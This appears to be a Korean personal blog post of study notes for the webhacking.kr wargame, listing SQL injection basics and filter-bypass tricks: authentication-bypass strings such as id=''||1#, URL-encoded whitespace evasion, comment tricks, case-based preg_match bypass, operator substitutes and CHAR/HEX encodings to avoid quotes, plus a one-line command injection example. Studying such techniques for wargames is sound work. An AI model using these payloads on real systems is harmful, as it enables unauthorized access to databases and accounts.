본문 바로가기
category/웹해킹(webhacking.kr)

webhacking 기본

by 자운대고라니 2020. 11. 24.
반응형

sql injection 기본

sql문에 데이터를 삽입하는 부분에 sql문을 삽입하여서 원하는 값을 얻거나 넣는다.

ex) select id from DB id=''||1#'' pw=''

 

url-encoding 우회

 

1- %00

null 표현 (공백)

ex) <%00s%00c%00r%00i%00p%00t%00> -> <script>

 

2 - %0a

줄바꿈(띄어쓰기 우회 가능)

ex) id=''%0aor%0a1#pw=''

 

3 - %09

TAB 기능(띄어쓰기 우회 가능)

ex) id=''%09or%091#pw=''

 

4 - +우회

+를 활용하여 공백 처리 가능

ex) no=1+or+id='admin

 

주석처리

 

1 - (#)

# 뒤의 쿼리문은 주석 처리된다.

ex) id='admin' or 1#pw='admin'

 

2 - (--)

-- 뒤의 쿼리문은 주석 처리된다.

뒤에 공백이 있어야 된다. %0a로는 적용이 안된다. %09로 가능

ex) id='admin' or 1-- pw='admin'

 

3 -  (/**/)

/**/사이의 쿼리문은 주석 처리된다.

ex) id='admin' or 1/* pw='admin'*/

 

공백 우회

 

괄호 우회()

()를 활용하여 공백 처리 가능

ex) no=(1)or(id='admin')

 

preg_match우회

preg_match : 특정 문자열이 있는지 확인하는 함수

만약 preg_match("/...../")라면 대문자는 구별하지 않는다.

ex) preg_match("/admin/") -> ADMIN이라는 데이터 입력 가능

 

DB대문자 우회

쿼리문은 대,소문자 구별을 따로 하진 않지만, HTML 및 PHP에서는 구별한다.

ex)

if($id=='admin') exit();

select id from DB where id='$id'

id에 ADMIN값을 넣으면 우회 가능

 

command line injection

system("ls -al";"cd .."); : ls -al, cd .. 둘 다 실행된다.

 

 

연산자 우회

 

1 - or

||로 대체 가능, 공백이 없어도 됨

ex) id='' or 1# -> id=''||1#

 

2- and

&&로 대체 가능, 공백이 없어도 됨

ex) id='admin' and pw='1234'#'' -> id='admin'&&pw='1234'#''

3 - =

like로 대체 가능, 공백이 있어야 됨

ex) id like admin

 

4 - instr(string str, string substr)로 대체 가능

ex) instr(id,'admin')

 

5 - in로 대체 가능

ex) id in admin

 

문자열 우회 (quote를 우회할 수 있음)

 

1 - CHAR형

ex) id='admin' -> id=char(97,100,109,105,110)

 

2 - HEX형

ex) id='admin' -> id=0x61646D696E

 

3 - BIN형

ex) id='admin' -> id=0b110000101100100011011010110100101101110

 

업데이트 예정

반응형

댓글